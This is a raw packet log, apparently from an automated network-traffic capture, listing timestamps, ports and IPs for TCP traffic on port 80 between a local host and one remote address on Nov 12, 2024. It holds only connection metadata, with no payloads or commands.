Nov 12, 2024 05:03:05.237070084 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237081051 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237099886 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237099886 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237128019 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237359047 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237409115 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237421989 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237422943 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237451077 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237461090 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237462044 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237473965 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237478971 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237488031 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237514019 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237529993 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237540960 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237550974 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237562895 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237580061 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237600088 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237627029 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237752914 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237766027 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237785101 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237796068 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237806082 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237811089 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237837076 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237852097 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.237983942 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.237996101 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238008022 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238045931 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238050938 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238059998 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238063097 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238087893 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238115072 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238420010 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238430977 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238442898 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238454103 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238471031 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238502979 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238504887 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238544941 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238544941 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238557100 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238580942 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238590956 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238605022 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238605022 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238636971 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238647938 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238652945 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238660097 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238679886 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238718033 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238842010 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238853931 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238866091 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238899946 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238899946 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238903999 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238917112 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.238951921 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.238961935 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239124060 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239136934 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239146948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239176035 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239176989 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239188910 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239200115 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239204884 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239232063 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239257097 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239501953 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239563942 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239567995 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239576101 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239586115 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239603043 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239609003 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239614964 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239622116 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239630938 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239660025 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239690065 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239702940 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239712954 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239732027 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239743948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239759922 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239780903 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239780903 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239780903 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239783049 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239794016 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239801884 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239809990 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239823103 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239833117 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239844084 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239852905 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239852905 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239864111 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239881039 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239881039 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239892006 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239909887 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239912987 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239926100 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239927053 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239937067 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239948988 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239955902 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239959955 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239979029 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.239988089 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.239989042 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240000963 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240000963 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240015984 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240029097 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240031958 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240046024 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240058899 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240061045 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240061045 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240087032 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240122080 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240122080 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240134001 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240144968 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240166903 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240185976 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240242958 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240255117 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240266085 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240303040 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240319967 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240803957 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240816116 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240828037 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240842104 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240853071 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240866899 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240890026 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240890026 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240890026 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240912914 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240915060 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240926981 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240936995 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240950108 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240953922 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240961075 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.240964890 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.240988016 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.241000891 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.241014004 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.241044044 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.241054058 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351536989 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351556063 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351600885 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351613998 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351653099 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351661921 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351665974 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351775885 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351787090 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351798058 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351809025 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351819038 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351830006 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351833105 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351840973 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351850986 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351869106 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351883888 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351893902 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351901054 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351902008 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351905107 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351914883 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351918936 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351921082 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351933002 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.351957083 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.351980925 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352013111 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352024078 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352034092 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352044106 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352045059 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352060080 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352072001 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352087021 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352091074 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352097988 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352102995 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352111101 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352123022 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352128029 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352133989 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352140903 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352145910 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352157116 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352170944 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352171898 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352181911 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352197886 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352197886 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352255106 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352257013 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352268934 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352278948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352303982 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352323055 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352463007 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352478027 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352490902 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352509975 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352545977 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352569103 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352580070 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352590084 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352600098 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352619886 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352626085 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352632046 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352642059 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352653027 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352663994 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352663994 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352699995 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352706909 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352713108 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352724075 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352740049 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352751970 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352761030 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352761030 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352792978 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352837086 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352847099 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352858067 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352866888 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352878094 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352881908 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352889061 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352900982 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.352905035 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352931023 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.352953911 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353116989 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353128910 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353138924 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353157997 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353161097 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353173971 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353184938 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353189945 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353197098 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353207111 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353214025 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353219032 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353260040 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353260040 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353441954 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353481054 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353492022 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353497028 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353502989 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353508949 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353517056 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353519917 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353526115 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353532076 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353533983 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353544950 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353562117 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353573084 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353575945 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353586912 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353599072 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353605986 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353610039 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353621960 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353622913 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353635073 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353656054 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353656054 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353668928 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353681087 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353687048 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353692055 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353719950 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353719950 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353771925 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353784084 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353795052 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353806973 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353818893 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353820086 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353831053 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353832960 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353847027 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353858948 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353862047 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353867054 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353914022 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353914976 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353914976 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353924036 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353935003 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353950024 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353950977 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.353962898 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.353981972 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354008913 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354049921 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354093075 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354098082 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354106903 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354146957 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354146957 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354228973 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354239941 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354249954 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354260921 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354271889 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354271889 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354283094 CET	80	49937	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:05.354288101 CET	49937	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:05.354295969 CET	80	49937	185.215.113.16	192.168.2.5
